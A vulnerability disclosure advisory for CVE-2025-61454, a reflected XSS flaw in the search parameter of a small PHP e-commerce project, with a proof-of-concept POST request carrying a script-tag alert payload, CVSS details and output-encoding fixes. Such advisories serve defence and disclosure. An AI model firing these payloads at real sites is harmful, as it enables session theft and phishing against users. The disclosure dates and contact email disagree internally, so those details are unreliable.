CVE-2025-61454 PoC — E-commerce 安全漏洞

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# 🛡️ CVE Disclosure: CVE-2025-61454 — Reflected XSS in E-commerce Project

**Disclosure Date:** 14 October 2025  
**CVE ID:** CVE-2025-61454  
**Severity:** MEDIUM (CVSS 6.1)

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## 🧩 Summary

A reflected Cross-Site Scripting (XSS) vulnerability exists in the `E-commerce Project v1.0`, specifically within the `search.php` endpoint. Unsanitized input in the `search` parameter is directly reflected back into the response HTML, allowing attackers to execute arbitrary JavaScript in the browser of a user who visits a malicious link or submits a crafted request.

This issue has been assigned the identifier **CVE-2025-61454**. At the time of disclosure, **no patch** has been released by the vendor.

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## 📦 Affected Product

- **Vendor:** Independent (Bhabishya-123)  
- **Project:** [E-commerce](https://github.com/Bhabishya-123/E-commerce)  
- **Version:** v1.0  
- **File:** `search.php`  
- **Vulnerable Endpoint:**  
  `http://localhost/e-commerce-main/search.php`

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## 🔬 Vulnerability Details

The server fails to properly sanitize the `search` parameter from POST data before reflecting it into the response HTML. This allows attackers to inject JavaScript payloads, leading to client-side code execution.

An attacker crafts input containing embedded script-like content and sends it to the vulnerable POST endpoint. Because the server reflects the input into the HTML response without applying proper HTML/attribute/JS encoding, the browser treats the reflected content as executable markup and runs it. This is a reflected (non-persistent) XSS scenario; the attacker must persuade a victim to perform the request or visit a specially constructed link/form.

### Vulnerable Code Pattern (hypothetical):
```php
$search = $_POST['search'];
echo "<div>Search results for: $search</div>";
```

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## 📌 CWE Classification

| CWE ID | Title                                                                 |
|--------|-----------------------------------------------------------------------|
| [CWE-79](https://cwe.mitre.org/data/definitions/79.html) | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |

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## 📊 CVSS v3.1 Score

| Score | Severity | Vector String                              |
|-------|----------|---------------------------------------------|
| 6.1   | MEDIUM   | `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |

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## 💥 Impact

A successful exploitation could result in:

- 🧠 **Execution of arbitrary JavaScript**
- 🎭 **Phishing or impersonation** via HTML injection
- 🍪 **Session hijacking or token theft**
- 🚨 **Forced redirection or malware delivery**
- 🎣 **Credential harvesting** through fake login forms
- 📊 **Defacement** of the search results page

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## 🧪 Proof of Concept (PoC)

### 1. Clone the Repository

```bash
git clone https://github.com/Bhabishya-123/E-commerce.git
```

### 2. Host Locally

Use XAMPP/LAMP to deploy the project and access the application.

### 3. Exploit the Vulnerability

#### 📥 Sample Request
```http
POST /e-commerce-main/search.php HTTP/1.1
Host: localhost
Referer: https://localhost/e-commerce-main/
Content-Type: application/x-www-form-urlencoded

search=yxo9p%3cscript%3ealert(1)%3c%2fscript%3exnzmd&submit=
```

#### 📋 Decoded Payload
```
search=yxo9p<script>alert(1)</script>xnzmd&submit=
```

#### 📋 Injected Payload
```html
yxo9p<script>alert(1)</script>xnzmd
```

**Explanation:**  
The payload `<script>alert(1)</script>` is embedded within the search parameter. When a victim submits a search form with this malicious payload (or is tricked into doing so via social engineering), the JavaScript executes in their browser context.

### 4. Expected Result

If vulnerable, the browser will execute the JavaScript code, displaying an alert box with the value `1`. This confirms successful XSS exploitation.

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## 🔐 Recommendations

- ✅ Use `htmlspecialchars()` or equivalent to encode all untrusted output before rendering to HTML.
- 🧰 Implement **server-side input validation** for all form inputs, especially the search parameter.
- 🧱 Set strong **Content Security Policy (CSP)** headers to prevent inline script execution.
- 🚫 Avoid directly embedding unsanitized user inputs into HTML responses.
- 🔒 Implement proper **output encoding** based on context (HTML, JavaScript, URL, CSS).
- 🛡️ Use modern frameworks that provide automatic XSS protection.

### ✅ Example Fix
```php
$search = htmlspecialchars($_POST['search'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: $search</div>";
```

### 🛡️ Content Security Policy Example
```http
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
```

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## 📆 Timeline

| Event                    | Date           |
|--------------------------|----------------|
| Vulnerability Discovered | 16 September 2025  |
| Public Disclosure        | 13 October 2025   |
| Patch Available          | ❌ Not available as of disclosure |

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## 🙋‍♂️ Credits

This vulnerability was discovered and disclosed by:

**Tansique Dasari**  
🔗 [GitHub](https://github.com/tansique-17)  
✉️ [tansique.d@gmail.com](mailto:tansique.17@gmail.com)

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## 🔗 References

- [OWASP - XSS](https://owasp.org/www-community/attacks/xss/)
- [CWE-79 - XSS Classification](https://cwe.mitre.org/data/definitions/79.html)
- [PortSwigger - Cross-site Scripting](https://portswigger.net/web-security/cross-site-scripting)
- [CVE-2025-61454 on CVE.org](https://cve.org/CVERecord?id=CVE-2025-61454)

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> 💬 *This advisory is published independently due to absence of an official vendor patch.*

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